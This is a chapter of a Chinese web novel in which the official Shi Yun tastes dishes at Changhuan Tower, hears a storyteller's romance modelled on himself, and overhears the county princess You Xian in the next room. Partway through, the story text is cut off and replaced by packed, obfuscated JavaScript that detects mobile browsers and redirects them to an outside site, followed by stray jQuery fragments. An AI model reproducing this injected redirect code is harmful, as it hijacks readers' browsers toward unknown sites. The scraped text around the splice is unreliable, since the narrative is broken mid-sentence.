19. 第 19 章

作品:《第十八次榜下捉婿后

    时昀下职后,还未及出门,就远远看见任熙和时仪的身影。


    时昀忽地想起,今日要去畅欢楼试菜。


    犹记当时,他还在选时日,时仪一边收拾书一边说:“公子,不如就定明日下午您下职之后,咱慢悠悠走过去,到那刚好晚膳时辰,就当顺便去吃饭了,省一点是一点。”


    时昀被他这精打细算逗笑:“你当真是个会算的。”


    “那可不?如今咱虽然宅子买上了,但也不能铺张浪费,还得为公子攒钱娶媳妇呢——”


    时仪嘴快,话总不过脑。待说出口,他才意识到自己说了什么,偷偷去看时昀。


    “想太远了。”时昀淡淡道。


    时仪连忙闭嘴。


    不过,试菜日子公子没说不好,那应该就是行,他怀着将功补过的心思,很麻利地跑了趟畅欢楼,把这事定下了,又去任熙暂住的地方通传。


    至此时,听到时仪一声不吭都给安排妥当了,时昀竟有些意外——他差点把这事忙忘了,真是惭愧。


    时昀让二人稍候,赶紧回去把自己身上的官服脱下来,换上一身备用的玉白常服,这才出来招呼二人:“走吧。”


    行至畅欢楼,刚过酉时一刻,门外招揽的店小二见了三人连忙把他们请进去。


    李老板得了通传,亲自来陪侍,将三人引入二楼一处朝内的包厢。


    李老板:“菜都提前备好了,现在厨房正炒着呢,有些需要费时蒸煮熬制的也一早准备上了。”


    时昀点点头。


    这包厢并不算小,等候的这段时间,时昀起身去看墙上的画。


    “前朝文大家的真迹?”时昀一手虚悬在一副花鸟图前。


    “正是。”一直陪在时昀身旁的李老板应道,“在下听闻时少卿也擅长作画。”


    时昀一怔:“我并不擅长,只是爱看画罢了。”


    哪来的谣传?


    时昀浅浅笑过,不再深究。


    看过风雅物件,目光自然落在这包厢最值得看的地方——内窗。


    因着这包厢面积大,内窗足足有八扇,任熙和时仪都倚在窗边。


    “今晚的说书先生是本楼最卖座的吴先生。”李老板话音刚落,楼下丝竹声止,也无喧哗吵闹声。


    时昀走过去,就见一位红衣先生踱步而出。


    “老板,今日这位先生是要讲什么本子啊?”时仪转头问。


    “这——”李老板仍然站在时昀身侧,“是本楼曾经最受欢迎的本子……您且听就是。”


    时仪认得字,却不怎读圣贤书,有点文化全拿去读话本看闲书了。他这一听,当即来了兴趣,聚精会神去听那人的声音。


    时昀见李老板卖关子,心生好奇,也仔细听了起来。


    “话说,前朝嘉懿皇后有个外甥女乳名唤嫣嫣,因着皇后得宠,全家蒙恩,她便也得了县君封号……”


    可令时仪没想到的是,这竟是个风月情爱故事。


    “这学子啊,见过的人无不称赞他品学,论容貌,也是当地掷果盈车的美男子……”


    “我还以为能听些妖怪神仙的故事呢,情情爱爱有什么好听的……”时仪有些失望,正当此时,菜陆陆续续摆上来了,时仪便从窗边回到桌前,观赏起菜来。


    而李老板管不得他,一心只惦记着时昀。


    现下讲述的这本子,正是当年《多情美人俏书生》改写而来。


    因着《多情美人俏书生》改成了戏来演,说书先生也就不再讲这本子了。钱奎在这故事原基础上加以修改,换汤不换药写成了这出《风月吟》,照样是高门贵女同寒门书生,只不过相较于原作的悲剧结局,这新作结尾改为二人克服种种困难,互明心意,有情人终成眷属的好结局。


    李老板也是上京众多看不透尤宪的男人之一。眼下,他的为难在于是否要阻止时昀听这故事,若时昀听出这故事是以他和县主为原型,是高兴还是生气,这事被县主知道了,县主是高兴还是生气……


    时昀几乎没来过畅欢楼。县主还真没告诉他该怎么办。


    但他见时昀面上并无波澜,一时间有些拿不准,试探着问:“时少卿?”


    时昀回过神来。


    “这故事,您听着——”


    李老板是想问他意见吗?


    可他没看过风月闲书,也没听过这类故事,更没写过,如何给得意见?


    不过李老板待他一直十分和善,他也不好推拒。


    时昀便道:“故事还算有趣。”


    不远处,时仪瞧着自家公子那一本正经评价的模样,偷笑出声。


    他家公子看的风月话本还没他多呢!


    要他说,这故事有些老套,他总觉得在哪听过。


    且这故事里这书生,也忒不知好歹了些。


    时昀也是这么想的。


    时昀听了一点,却因这故事里不解风情的书生拧了好几次眉。


    姑娘看上他,他就算不喜欢人家,也不敢那样直截了当地拒绝。


    这书生的表现,真是糟糕至极,比他当年在公主府的言行还要蠢笨,时昀心道。


    但时昀听李老板说这是人家最受欢迎的故事,那或许是他没听过这类话本,不太适应,不懂行情。


    于是乎,他拐着弯地说:“这本子里的人物十分生动。”


    时仪:那可不生动嘛?这书生都蠢得人想进去打他一顿了。


    时昀:“情节也十分贴近现实。”


    时仪:就是不知道哪个地方的现实。这书生敢这么对待这小姐,人家可是皇亲国戚,皇帝亲封的县君,不给这书生打一顿都是人家性子好。


    时昀:“只不过,这故事最后的转变好似有些突兀。”


    话本已过半,正好讲到两年后,书生发现自己心中喜欢县君,内心挣扎纠结,又听闻县君在皇后的安排下相看对象。书生内心又悔又恨,进而终于下定决心,要挽回县君。


    这是钱奎结合坊市传言,许多人看热闹不嫌事大,都希望见到时昀反追尤宪的乐子,创作出来的新剧情走向,加上原版,好坏两种结局都有了,两拨人都能看见自己喜欢的。钱奎引以为傲。


    可时昀却对钱奎自认为的天才之作提出质疑:“错过的哪有这么容易挽回。”说罢,还叹了口气。


    时仪也终于开口:“除非两年前他二人是有什么误会。”


    时昀:“有误会也不行,这书生自认情深似海,实际上言行都与其内心所认为的匹配不上,实非良人。”


    李老板听到这里,早已惊出一身冷汗,用帕子尴尬抹额。


    原来钱奎写的与原主差这么多,得亏这时少卿没听出这原型是他。


    待菜都上齐,李老板便赶紧关了几扇窗户,只留一扇开着,隔了泰半声音在外。


    四人落座后,李老板为三人倒酒。


    “这是本店的上好陈酿,三位尝尝?”


    时昀推拒了:“我今日就不喝酒了。”


    李老板又道:“不喝酒也好,不喝酒试菜,最能尝得出食材本味。”


    云纹雕花红木桌最中摆着的是一道炙肥羊,也是这一桌子上最大的菜。李老板起身,拿刀分割羊肉。


    任熙尝了一口,笑了笑:“我们那地方,都不爱吃羊肉,但今日见了畅欢楼的手艺,才知道,原来是我们那地方的人不会做羊肉。”


    “任进士要是喜欢,回头我将这炙肥羊的调料方子给您,您自个回家也可用来做些鸡鸭之类的。”李老板手上不停,笑道。


    时仪面前有一道小菜,应当是用了多种烹调之法,他竟没看出这菜是什么原料做的。


    李老板:“里面是茄子、肉末、青瓜,酱料给得重,的确不好分辨。”


    时仪一听,皱起眉:“公子,这菜您可别吃。”


    三人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823775|158155||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    都看他。时仪又道:“公子吃了茄子会生红疹子。”


    李老板当即问:“那可要将这菜替下去。”任熙也问。


    “不必。”时昀道,“我不碰那菜就是了。”


    李老板就继续介绍桌上美食。


    窗外天色悄然转暗,楼内的灯也陆续点上,顺着内窗,光辉倾泻进来,也带来大堂中一派热闹声响。


    菜都介绍完了,李老板得了人通传的消息,礼貌躬身:“外面有贵客来,在下先告辞,若菜单有什么不妥、口味哪里不合心意,只管来告诉在下。”


    畅欢楼外。


    宝马香车驶来,经引导停入轿马场内。


    车上二人由侍女搀扶下车。


    其中一女道:“我还以为你要带我去什么好地方,竟是这处。”


    罗惜月从容应答:“我既开罪于你,要弥补过错,哪里能一句话轻飘飘带过,自然要摆上一桌好菜——”


    “然后自罚三杯?”尤宪见罗惜月点头,哼笑出声,“算了吧,就你那酒量,真喝倒在这,我可给不了你家那位一个交代,倒时候又成我欠你了!”


    罗惜月亲昵挽上她的手:“那县主大人有大量,可怜可怜我,罚我饮茶三杯,就算我给你赔不是了。”


    二人从轿马场自后门被引入畅欢楼,走了就近的楼梯上二楼。


    “我都说了,我没怪你,我知道是你楼里有人动了歪心思,把主意打到我身上来了,你不必这样低声下气求我原谅你什么,你只要管管你八珍楼里的伙计,告诉他们踏踏实实做生意。”尤宪提着罗裙,小心着脚下,“诶,当心些——得亏遇上的是我,若是哪家不好惹的,直接给你告到府衙去,那可麻烦了。”


    罗惜月:“是,多亏咱县主,一直惦念着我,才没教我因这事丢脸。”


    隔壁传来声响,时昀手中筷子一滞。


    闷闷的声音传来,“所以我说啊,今晚这顿就当咱俩约出来吃饭,别扯什么道歉啊赔罪啊……”


    隔着一层墙,声音听不太真切,但他仍能想象得到,那道声音是多么清脆如铃。


    尤宪推开内窗:“这天都黑了,该朝外坐看街景的。”


    罗惜月道:“我是记着畅欢楼新聘了一群乐师,想来听听。你若是想看大街,咱换出去?”


    时昀捏着筷子的手又是一紧。


    时仪察觉他的异样:“公子——”“嘘,安静些。”


    时仪不明所以,但听见从内窗悠悠传来的烨煜丝竹声,感情公子是在赏曲儿?


    一墙之隔,因着两间房的内窗都打开了,尤宪也是个声量不弱的姑娘,时昀能原原本本听见她的话。


    而另一位姑娘,声音细弱,端的是大家闺秀的拘谨劲,传来的话语也被分割成了个别好辨认的字词和余下一堆囫囵不清的音节。


    无妨,他也不是想听她的声音。


    但他的神经还是因为这姑娘的声音而绷紧,只因他听清其话里换房间的意味。


    尤宪道:“你请客还是我请客,你掏的钱,处处顺从我,这算怎么一回事?”


    她好像不懂主随客便这一词,时昀想。


    罗惜月也是这般想的:“那不还有老话说,主随客便吗?”


    “那感情我做客人的不用掏钱,想吃什么吃什么,想做什么做什么,一点也不用在乎主人家的心思?”尤宪大笑,“我从前竟不知做客人这么舒坦,半点亏不吃还能呼风唤雨,好事全赶上了。大抵因为平常我总是做主请客,什么都照自己喜好来。”


    “能被县主请去做客,就已是八百年的福分,谁敢在你面前造次,那才真是拎不清……”


    一番来往,那姑娘终于是不打算挪地了。


    时昀松了口气,抬头看见碗里还剩着底,拿起筷子,却见时仪一脸惊诧地瞧着他。


    任熙醉酒,说这楼里太闷,要去找个外窗吹吹风,因而屋内只剩下他二人。